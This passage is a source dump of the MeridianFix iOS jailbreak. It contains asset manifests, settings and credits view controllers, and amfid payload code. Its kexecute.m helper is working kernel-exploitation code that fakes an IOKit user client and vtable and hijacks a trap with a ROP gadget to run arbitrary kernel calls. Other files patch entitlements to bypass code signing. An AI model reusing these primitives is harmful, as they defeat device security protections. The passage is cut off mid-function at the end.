/Meridian/Meridian/views/Assets.xcassets/Icons/list.imageset/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "images" : [ 3 | { 4 | "idiom" : "universal", 5 | "scale" : "1x" 6 | }, 7 | { 8 | "idiom" : "universal", 9 | "filename" : "list@2x.png", 10 | "scale" : "2x" 11 | }, 12 | { 13 | "idiom" : "universal", 14 | "filename" : "list@3x.png", 15 | "scale" : "3x" 16 | } 17 | ], 18 | "info" : { 19 | "version" : 1, 20 | "author" : "xcode" 21 | }, 22 | "properties" : { 23 | "template-rendering-intent" : "template" 24 | } 25 | } -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/Icons/list.imageset/list@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/list.imageset/list@2x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/Icons/list.imageset/list@3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/list.imageset/list@3x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/Icons/settings.imageset/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "images" : [ 3 | { 4 | "idiom" : "universal", 5 | "scale" : "1x" 6 | }, 7 | { 8 | "idiom" : "universal", 9 | "filename" : "settings@2x.png", 10 | "scale" : "2x" 11 | }, 12 | { 13 | "idiom" : "universal", 14 | "filename" : "settings@3x.png", 15 | "scale" : "3x" 16 | } 17 | ], 18 | "info" : { 19 | "version" : 1, 20 | "author" : "xcode" 21 | }, 22 | "properties" : { 23 | "template-rendering-intent" : "template" 24 | } 25 | } -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/Icons/settings.imageset/settings@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/settings.imageset/settings@2x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/Icons/settings.imageset/settings@3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/settings.imageset/settings@3x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/Icons/source_code.imageset/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "images" : [ 3 | { 4 | "idiom" : "universal", 5 | "scale" : "1x" 6 | }, 7 | { 8 | "idiom" : "universal", 9 | "filename" : "source_code@2x.png", 10 | "scale" : "2x" 11 | }, 12 | { 13 | "idiom" : "universal", 14 | "filename" : "source_code@3x.png", 15 | "scale" : "3x" 16 | } 17 | ], 18 | "info" : { 19 | "version" : 1, 20 | "author" : "xcode" 21 | }, 22 | "properties" : { 23 | "template-rendering-intent" : "template" 24 | } 25 | } -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/Icons/source_code.imageset/source_code@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/source_code.imageset/source_code@2x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/Icons/source_code.imageset/source_code@3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/source_code.imageset/source_code@3x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/Icons/synchronize.imageset/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "images" : [ 3 | { 4 | "idiom" : "universal", 5 | "scale" : "1x" 6 | }, 7 | { 8 | "idiom" : "universal", 9 | "filename" : "synchronize@2x.png", 10 | "scale" : "2x" 11 | }, 12 | { 13 | "idiom" : "universal", 14 | "filename" : "synchronize@3x.png", 15 | "scale" : "3x" 16 | } 17 | ], 18 | "info" : { 19 | "version" : 1, 20 | "author" : "xcode" 21 | }, 22 | "properties" : { 23 | "template-rendering-intent" : "template" 24 | } 25 | } -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/Icons/synchronize.imageset/synchronize@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/synchronize.imageset/synchronize@2x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/Icons/synchronize.imageset/synchronize@3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/synchronize.imageset/synchronize@3x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/Icons/trash.imageset/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "images" : [ 3 | { 4 | "idiom" : "universal", 5 | "scale" : "1x" 6 | }, 7 | { 8 | "idiom" : "universal", 9 | "filename" : "trash@2x.png", 10 | "scale" : "2x" 11 | }, 12 | { 13 | "idiom" : "universal", 14 | "filename" : "trash@3x.png", 15 | "scale" : "3x" 16 | } 17 | ], 18 | "info" : { 19 | "version" : 1, 20 | "author" : "xcode" 21 | }, 22 | "properties" : { 23 | "template-rendering-intent" : "template" 24 | } 25 | } -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/Icons/trash.imageset/trash@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/trash.imageset/trash@2x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/Icons/trash.imageset/trash@3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/trash.imageset/trash@3x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/Icons/twitter.imageset/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "images" : [ 3 | { 4 | "idiom" : "universal", 5 | "scale" : "1x" 6 | }, 7 | { 8 | "idiom" : "universal", 9 | "filename" : "twitter@2x.png", 10 | "scale" : "2x" 11 | }, 12 | { 13 | "idiom" : "universal", 14 | "filename" : "twitter@3x.png", 15 | "scale" : "3x" 16 | } 17 | ], 18 | "info" : { 19 | "version" : 1, 20 | "author" : "xcode" 21 | }, 22 | "properties" : { 23 | "template-rendering-intent" : "template" 24 | } 25 | } -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/Icons/twitter.imageset/twitter@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/twitter.imageset/twitter@2x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/Icons/twitter.imageset/twitter@3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/twitter.imageset/twitter@3x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/Icons/www.imageset/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "images" : [ 3 | { 4 | "idiom" : "universal", 5 | "scale" : "1x" 6 | }, 7 | { 8 | "idiom" : "universal", 9 | "filename" : "www@2x.png", 10 | "scale" : "2x" 11 | }, 12 | { 13 | "idiom" : "universal", 14 | "filename" : "www@3x.png", 15 | "scale" : "3x" 16 | } 17 | ], 18 | "info" : { 19 | "version" : 1, 20 | "author" : "xcode" 21 | }, 22 | "properties" : { 23 | "template-rendering-intent" : "template" 24 | } 25 | } -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/Icons/www.imageset/www@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/www.imageset/www@2x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/Icons/www.imageset/www@3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/www.imageset/www@3x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/Map.imageset/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "images" : [ 3 | { 4 | "idiom" : "universal", 5 | "filename" : "DarkMap.png" 6 | } 7 | ], 8 | "info" : { 9 | "version" : 1, 10 | "author" : "xcode" 11 | } 12 | } -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/Map.imageset/DarkMap.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Map.imageset/DarkMap.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/Splash.imageset/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "images" : [ 3 | { 4 | "idiom" : "universal", 5 | "scale" : "1x" 6 | }, 7 | { 8 | "idiom" : "universal", 9 | "filename" : "splash@2x.png", 10 | "scale" : "2x" 11 | }, 12 | { 13 | "idiom" : "universal", 14 | "filename" : "splash@3x.png", 15 | "scale" : "3x" 16 | } 17 | ], 18 | "info" : { 19 | "version" : 1, 20 | "author" : "xcode" 21 | } 22 | } -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/Splash.imageset/splash@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Splash.imageset/splash@2x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/Splash.imageset/splash@3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Splash.imageset/splash@3x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Base.lproj/LaunchScreen.storyboard: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | -------------------------------------------------------------------------------- /Meridian/Meridian/views/CreditsController.h: -------------------------------------------------------------------------------- 1 | // 2 | // CreditsController.h 3 | // Meridian 4 | // 5 | // Created by Sticktron on 2018-06-02. 6 | // Copyright © 2018 Ben Sparkes. All rights reserved. 7 | // 8 | 9 | #import 10 | 11 | @interface CreditsController : UIViewController 12 | 13 | @end 14 | -------------------------------------------------------------------------------- /Meridian/Meridian/views/CreditsController.m: -------------------------------------------------------------------------------- 1 | // 2 | // CreditsController.m 3 | // Meridian 4 | // 5 | // Created by Sticktron on 2018-06-02. 6 | // Copyright © 2018 Ben Sparkes. All rights reserved. 7 | // 8 | 9 | #import "CreditsController.h" 10 | 11 | @interface CreditsController () 12 | 13 | @end 14 | 15 | @implementation CreditsController 16 | 17 | - (void)viewDidLoad { 18 | [super viewDidLoad]; 19 | // Do any additional setup after loading the view. 20 | } 21 | 22 | - (void)didReceiveMemoryWarning { 23 | [super didReceiveMemoryWarning]; 24 | // Dispose of any resources that can be recreated. 25 | } 26 | 27 | - (void)openLink:(NSString *)url { 28 | [[UIApplication sharedApplication] openURL:[NSURL URLWithString:url] options:@{} completionHandler:nil]; 29 | } 30 | 31 | - (IBAction)buttonPressed:(UIButton *)sender { 32 | NSString *url = [NSString stringWithFormat:@"http://www.twitter.com/%@", sender.titleLabel.text]; 33 | [self openLink:url]; 34 | } 35 | 36 | /* 37 | #pragma mark - Navigation 38 | 39 | // In a storyboard-based application, you will often want to do a little preparation before navigation 40 | - (void)prepareForSegue:(UIStoryboardSegue *)segue sender:(id)sender { 41 | // Get the new view controller using [segue destinationViewController]. 42 | // Pass the selected object to the new view controller. 43 | } 44 | */ 45 | 46 | @end 47 | -------------------------------------------------------------------------------- /Meridian/Meridian/views/Info.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | CFBundleDevelopmentRegion 6 | $(DEVELOPMENT_LANGUAGE) 7 | CFBundleDisplayName 8 | MeridianFix 9 | CFBundleExecutable 10 | $(EXECUTABLE_NAME) 11 | CFBundleIdentifier 12 | $(PRODUCT_BUNDLE_IDENTIFIER) 13 | CFBundleInfoDictionaryVersion 14 | 6.0 15 | CFBundleName 16 | $(PRODUCT_NAME) 17 | CFBundlePackageType 18 | APPL 19 | CFBundleShortVersionString 20 | 1.0 21 | CFBundleVersion 22 | 1 23 | LSRequiresIPhoneOS 24 | 25 | UILaunchStoryboardName 26 | LaunchScreen 27 | UIMainStoryboardFile 28 | Main 29 | UIRequiredDeviceCapabilities 30 | 31 | armv7 32 | 33 | UIRequiresFullScreen 34 | 35 | UIStatusBarHidden 36 | 37 | UIStatusBarStyle 38 | UIStatusBarStyleDefault 39 | UISupportedInterfaceOrientations 40 | 41 | UIInterfaceOrientationPortrait 42 | 43 | UISupportedInterfaceOrientations~ipad 44 | 45 | UIInterfaceOrientationPortrait 46 | 47 | UIViewControllerBasedStatusBarAppearance 48 | 49 | 50 | 51 | -------------------------------------------------------------------------------- /Meridian/Meridian/views/SettingsController.h: -------------------------------------------------------------------------------- 1 | // 2 | // SettingsController.h 3 | // Meridian 4 | // 5 | // Created by Sticktron on 2018-04-03. 6 | // Copyright © 2018 Ben Sparkes. All rights reserved. 7 | // 8 | 9 | #import 10 | 11 | @interface SettingsController : UITableViewController 12 | 13 | @end 14 | -------------------------------------------------------------------------------- /Meridian/Meridian/views/SettingsController.m: -------------------------------------------------------------------------------- 1 | // 2 | // SettingsController.m 3 | // Meridian 4 | // 5 | // Created by Sticktron on 2018-04-03. 6 | // Copyright © 2018 Ben Sparkes. All rights reserved. 7 | // 8 | 9 | #import "SettingsController.h" 10 | #import "Preferences.h" 11 | 12 | @interface SettingsController () 13 | @property (weak, nonatomic) IBOutlet UISwitch *tweaksEnabledSwitch; 14 | @property (weak, nonatomic) IBOutlet UISwitch *startLaunchDaemonsSwitch; 15 | @property (weak, nonatomic) IBOutlet UITextField *bootNonceEntryField; 16 | @property (weak, nonatomic) IBOutlet UISwitch *startDropbearSwitch; 17 | @property (weak, nonatomic) IBOutlet UISegmentedControl *dropbearPortControl; 18 | @property (weak, nonatomic) IBOutlet UITableViewCell *psychoTwitterCell; 19 | @property (weak, nonatomic) IBOutlet UITableViewCell *issueTrackerCell; 20 | @property (weak, nonatomic) IBOutlet UITableViewCell *sourceCodeCell; 21 | @property (weak, nonatomic) IBOutlet UITableViewCell *websiteCell; 22 | @end 23 | 24 | 25 | @implementation SettingsController 26 | 27 | - (void)viewDidLoad { 28 | [super viewDidLoad]; 29 | 30 | _tweaksEnabledSwitch.on = tweaksAreEnabled(); 31 | _startLaunchDaemonsSwitch.on = startLaunchDaemonsIsEnabled(); 32 | _bootNonceEntryField.text = [NSString stringWithFormat:@"0x%llx", getBootNonceValue()]; 33 | _startDropbearSwitch.on = startDropbearIsEnabled(); 34 | _dropbearPortControl.selectedSegmentIndex = listenPort(); 35 | 36 | _bootNonceEntryField.delegate = self; 37 | } 38 | 39 | - (void)didReceiveMemoryWarning { 40 | [super didReceiveMemoryWarning]; 41 | // Dispose of any resources that can be recreated. 42 | } 43 | 44 | - (void)openLink:(NSString *)url { 45 | [[UIApplication sharedApplication] openURL:[NSURL URLWithString:url] options:@{} completionHandler:nil]; 46 | } 47 | 48 | - (IBAction)tweaksEnabledValueChanged:(UISwitch *)sender { 49 | setTweaksEnabled(sender.isOn); 50 | } 51 | 52 | - (IBAction)startLaunchDaemonsValueChanged:(UISwitch *)sender { 53 | setStartLaunchDaemonsEnabled(sender.isOn); 54 | } 55 | 56 | - (IBAction)startDropbearValueChanged:(UISwitch *)sender { 57 | setStartDropbearEnabled(sender.isOn); 58 | } 59 | 60 | - (IBAction)dropbearPortValueChanged:(UISegmentedControl *)sender { 61 | setListenPort(sender.selectedSegmentIndex); 62 | } 63 | 64 | - (BOOL)textFieldShouldReturn:(UITextField *)textField { 65 | [textField resignFirstResponder]; 66 | return YES; 67 | } 68 | 69 | - (IBAction)bootNonceEditingEnded:(UITextField *)sender { 70 | const char *generatorInput = [sender.text UTF8String]; 71 | 72 | if (strcmp(generatorInput, "0x0") == 0) { 73 | // Reset/disable the generator 74 | setBootNonceValue(0x0); 75 | 76 | // Set it to the Electra nonce 77 | _bootNonceEntryField.text = [NSString stringWithFormat:@"0x%llx", getBootNonceValue()]; 78 | return; 79 | } 80 | 81 | char compareString[22]; 82 | uint64_t rawGeneratorValue; 83 | sscanf(generatorInput, "0x%16llx", &rawGeneratorValue); 84 | sprintf(compareString, "0x%016llx", rawGeneratorValue); 85 | 86 | if (strcmp(compareString, generatorInput) != 0) { 87 | 88 | NSString *message = [NSString stringWithFormat:@"The generator you provided was invalid. The generator should be in the format '0x1234567890123456'"]; 89 | 90 | UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"Invalid Generator" 91 | message:message 92 | preferredStyle:UIAlertControllerStyleAlert]; 93 | 94 | UIAlertAction *closeAction = [UIAlertAction actionWithTitle:@"Close" 95 | style:UIAlertActionStyleCancel 96 | handler:nil]; 97 | 98 | [alert addAction:closeAction]; 99 | [self presentViewController:alert animated:YES completion:nil]; 100 | 101 | // Reset/disable the generator 102 | setBootNonceValue(0x0); 103 | 104 | // Set it to the Electra nonce 105 | _bootNonceEntryField.text = [NSString stringWithFormat:@"0x%llx", getBootNonceValue()]; 106 | 107 | return; 108 | } 109 | 110 | setBootNonceValue(rawGeneratorValue); 111 | } 112 | 113 | #pragma mark - Table view 114 | - (void)tableView:(UITableView *)tableView didSelectRowAtIndexPath:(NSIndexPath *)indexPath { 115 | UITableViewCell *cell = [tableView cellForRowAtIndexPath:indexPath]; 116 | 117 | [tableView deselectRowAtIndexPath:indexPath animated:YES]; 118 | 119 | if (cell == self.psychoTwitterCell) { 120 | [self openLink:@"http://www.twitter.com/iBSparkes"]; 121 | } else if (cell == self.websiteCell) { 122 | [self openLink:@"https://meridian.sparkes.zone"]; 123 | } else if (cell == self.issueTrackerCell) { 124 | [self openLink:@"https://github.com/PsychoTea/MeridianJB/issues"]; 125 | } else if (cell == self.sourceCodeCell) { 126 | [self openLink:@"https://github.com/PsychoTea/MeridianJB"]; 127 | } 128 | } 129 | 130 | 131 | #pragma mark - Navigation 132 | 133 | @end 134 | -------------------------------------------------------------------------------- /Meridian/Meridian/views/ViewController.h: -------------------------------------------------------------------------------- 1 | // 2 | // ViewController.h 3 | // Meridian 4 | // 5 | // Created by Ben Sparkes on 22/12/2017. 6 | // Copyright © 2017 Ben Sparkes. All rights reserved. 7 | // 8 | 9 | #import "v0rtex.h" 10 | #import 11 | 12 | @interface ViewController : UIViewController 13 | 14 | - (void)writeText:(NSString *)message; 15 | - (void)writeTextPlain:(NSString *)message, ...; 16 | 17 | @end 18 | 19 | task_t tfp0; 20 | kptr_t kslide; 21 | kptr_t kernel_base; 22 | kptr_t kern_ucred; 23 | kptr_t kernprocaddr; 24 | 25 | void log_message(NSString *message); 26 | -------------------------------------------------------------------------------- /Meridian/amfid/Makefile: -------------------------------------------------------------------------------- 1 | TARGET = amfid_payload.dylib 2 | OUTDIR ?= bin 3 | SRC = $(wildcard *.c) $(wildcard *.m) $(wildcard */*.c) $(wildcard */*.m) 4 | 5 | CC = xcrun -sdk iphoneos gcc -arch arm64 6 | LDID = ldid 7 | CFLAGS = -dynamiclib -I. -I./helpers -framework Foundation -framework IOKit -lc++ 8 | 9 | all: $(OUTDIR)/$(TARGET) 10 | 11 | $(OUTDIR): 12 | mkdir -p $(OUTDIR) 13 | 14 | $(OUTDIR)/$(TARGET): $(SRC) | $(OUTDIR) 15 | $(CC) $(CFLAGS) -o $@ $^ 16 | $(LDID) -S $@ 17 | 18 | install: all 19 | 20 | clean: 21 | rm -rf $(OUTDIR) 22 | -------------------------------------------------------------------------------- /Meridian/amfid/common.h: -------------------------------------------------------------------------------- 1 | 2 | #define CACHED_FIND(type, name) \ 3 | type __##name(void); \ 4 | type name(void) { \ 5 | type cached = 0; \ 6 | if (cached == 0) { \ 7 | cached = __##name(); \ 8 | } \ 9 | return cached; \ 10 | } \ 11 | type __##name(void) 12 | -------------------------------------------------------------------------------- /Meridian/amfid/cs_dingling.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include "cs_blobs.h" 3 | 4 | #define LOG(str, args...) do { NSLog(@"[amfid_payload] " str, ##args); } while(0) 5 | #define ERROR(str, args...) LOG("ERROR: [%s] " str, __func__, ##args) 6 | #define INFO(str, args...) LOG("INFO: " str, ##args) 7 | 8 | typedef struct { 9 | const char *name; 10 | uint64_t file_off; 11 | int fd; 12 | const void *addr; 13 | size_t size; 14 | } img_info_t; 15 | 16 | const void *find_code_signature(img_info_t *info, uint32_t *cs_size); 17 | 18 | int find_best_codedir(const void *csblob, 19 | uint32_t csblob_size, 20 | const CS_CodeDirectory **chosen_cd, 21 | uint32_t *csb_offset, 22 | const CS_GenericBlob **entitlements); 23 | 24 | int hash_code_directory(const CS_CodeDirectory *directory, uint8_t hash[CS_CDHASH_LEN]); 25 | 26 | static unsigned int hash_rank(const CS_CodeDirectory *cd); 27 | 28 | const char *get_hash_name(uint8_t hash_type); 29 | 30 | int open_img(img_info_t* info); 31 | void close_img(img_info_t* info); 32 | -------------------------------------------------------------------------------- /Meridian/amfid/ent_patching.h: -------------------------------------------------------------------------------- 1 | #include "cs_dingling.h" 2 | 3 | int fixup_platform_application(const char *path, 4 | uint64_t macho_offset, 5 | const void *blob, 6 | uint32_t cs_length, 7 | uint8_t cd_hash[20], 8 | uint32_t csdir_offset, 9 | const CS_GenericBlob *entitlements); 10 | -------------------------------------------------------------------------------- /Meridian/amfid/helpers/fishhook.c: -------------------------------------------------------------------------------- 1 | ../../fishhook/fishhook.c -------------------------------------------------------------------------------- /Meridian/amfid/helpers/fishhook.h: -------------------------------------------------------------------------------- 1 | ../../fishhook/fishhook.h -------------------------------------------------------------------------------- /Meridian/amfid/helpers/kexecute.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | mach_port_t prepare_user_client(void); 5 | void init_kexecute(void); 6 | void term_kexecute(void); 7 | uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6); 8 | -------------------------------------------------------------------------------- /Meridian/amfid/helpers/kexecute.m: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "kmem.h" 4 | #include "kexecute.h" 5 | #include "kern_utils.h" 6 | #include "offsetof.h" 7 | 8 | mach_port_t prepare_user_client(void) { 9 | kern_return_t err; 10 | mach_port_t user_client; 11 | io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot")); 12 | if (service == IO_OBJECT_NULL){ 13 | printf(" [-] unable to find service\n"); 14 | exit(EXIT_FAILURE); 15 | } 16 | 17 | err = IOServiceOpen(service, mach_task_self(), 0, &user_client); 18 | if (err != KERN_SUCCESS){ 19 | printf(" [-] unable to get user client connection\n"); 20 | exit(EXIT_FAILURE); 21 | } 22 | 23 | printf("got user client: 0x%x\n", user_client); 24 | return user_client; 25 | } 26 | 27 | pthread_mutex_t kexecute_lock; 28 | static mach_port_t user_client; 29 | static uint64_t IOSurfaceRootUserClient_port; 30 | static uint64_t IOSurfaceRootUserClient_addr; 31 | static uint64_t fake_vtable; 32 | static uint64_t fake_client; 33 | const int fake_kalloc_size = 0x1000; 34 | 35 | void init_kexecute(void) { 36 | user_client = prepare_user_client(); 37 | 38 | // From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable 39 | IOSurfaceRootUserClient_port = find_port(user_client); // UserClients are just mach_ports, so we find its address 40 | if (IOSurfaceRootUserClient_port <= 0) { 41 | NSLog(@"error calling find_port whilst initializing kexecute!"); 42 | return; 43 | } 44 | 45 | IOSurfaceRootUserClient_addr = rk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject); // The UserClient itself (the C++ object) is at the kobject field 46 | 47 | uint64_t IOSurfaceRootUserClient_vtab = rk64(IOSurfaceRootUserClient_addr); // vtables in C++ are at *object 48 | 49 | // The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one 50 | // Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel 51 | 52 | // Create the vtable in the kernel memory, then copy the existing vtable into there 53 | fake_vtable = kalloc(fake_kalloc_size); 54 | 55 | for (int i = 0; i < 0x200; i++) { 56 | wk64(fake_vtable+i*8, rk64(IOSurfaceRootUserClient_vtab+i*8)); 57 | } 58 | 59 | // Create the fake user client 60 | fake_client = kalloc(fake_kalloc_size); 61 | 62 | for (int i = 0; i < 0x200; i++) { 63 | wk64(fake_client+i*8, rk64(IOSurfaceRootUserClient_addr+i*8)); 64 | } 65 | 66 | // Write our fake vtable into the fake user client 67 | wk64(fake_client, fake_vtable); 68 | 69 | // Replace the user client with ours 70 | wk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, fake_client); 71 | 72 | // Now the userclient port we have will look into our fake user client rather than the old one 73 | 74 | // Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;) 75 | wk64(fake_vtable+8*0xB7, offset_add_x0_x0_0x40_ret); 76 | 77 | pthread_mutex_init(&kexecute_lock, NULL); 78 | } 79 | 80 | void term_kexecute(void) { 81 | wk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, IOSurfaceRootUserClient_addr); 82 | kfree(fake_vtable, fake_kalloc_size); 83 | kfree(fake_client, fake_kalloc_size); 84 | } 85 | 86 | uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6) { 87 | pthread_mutex_lock(&kexecute_lock); 88 | 89 | // When calling IOConnectTrapX, this makes a call to iokit_user_client_trap, which is the user->kernel call (MIG). This then calls IOUserClient::getTargetAndTrapForIndex 90 | // to get the trap struct (which contains an object and the function pointer itself). This function calls IOUserClient::getExternalTrapForIndex, which is expected to return a trap. 91 | // This jumps to our gadget, which returns +0x40 into our fake user_client, which we can modify. The function is then called on the object. But how C++ actually works is that the 92 | // function is called with the first arguement being the object (referenced as `this`). Because of that, the first argument of any function we call is the object, and everything else is passed 93 | // through like normal. 94 | 95 | // Because the gadget gets the trap at user_client+0x40, we have to overwrite the contents of it 96 | // We will pull a switch when doing so - retrieve the current contents, call the trap, put back the contents 97 | // (i'm not actually sure if the switch back is necessary but meh) 98 | 99 | uint64_t offx20 = rk64(fake_client+0x40); 100 | uint64_t offx28 = rk64(fake_client+0x48); 101 | wk64(fake_client+0x40, x0); 102 | wk64(fake_client+0x48, addr); 103 | uint64_t returnval = IOConnectTrap6(user_client, 0, (uint64_t)(x1), (uint64_t)(x2), (uint64_t)(x3), (uint64_t)(x4), (uint64_t)(x5), (uint64_t)(x6)); 104 | wk64(fake_client+0x40, offx20); 105 | wk64(fake_client+0x48, offx28); 106 | 107 | pthread_mutex_unlock(&kexecute_lock); 108 | 109 | return returnval; 110 | } 111 | -------------------------------------------------------------------------------- /Meridian/amfid/helpers/kmem.c: -------------------------------------------------------------------------------- 1 | #import "kern_utils.h" 2 | #import "kmem.h" 3 | 4 | #define MAX_CHUNK_SIZE 0xFFF 5 | 6 | void remote_read_overwrite(mach_port_t task_port, 7 | uint64_t remote_address, 8 | uint64_t local_address, 9 | uint64_t length) { 10 | kern_return_t err; 11 | 12 | mach_vm_size_t outsize = 0; 13 | err = mach_vm_read_overwrite(task_port, (mach_vm_address_t)remote_address, (mach_vm_size_t)length, (mach_vm_address_t)local_address, &outsize); 14 | if (err != KERN_SUCCESS){ 15 | return; 16 | } 17 | 18 | if (outsize != length){ 19 | return; 20 | } 21 | } 22 | 23 | void remote_write(mach_port_t remote_task_port, 24 | uint64_t remote_address, 25 | uint64_t local_address, 26 | uint64_t length) { 27 | kern_return_t err = mach_vm_write(remote_task_port, 28 | (mach_vm_address_t)remote_address, 29 | (vm_offset_t)local_address, 30 | (mach_msg_type_number_t)length); 31 | if (err != KERN_SUCCESS) { 32 | return; 33 | } 34 | } 35 | 36 | uint64_t binary_load_address() { 37 | kern_return_t err; 38 | mach_msg_type_number_t region_count = VM_REGION_BASIC_INFO_COUNT_64; 39 | memory_object_name_t object_name = MACH_PORT_NULL; 40 | mach_vm_size_t target_first_size = 0x1000; 41 | mach_vm_address_t target_first_addr = 0x0; 42 | struct vm_region_basic_info_64 region = {0}; 43 | err = mach_vm_region(mach_task_self(), &target_first_addr, &target_first_size, VM_REGION_BASIC_INFO_64, 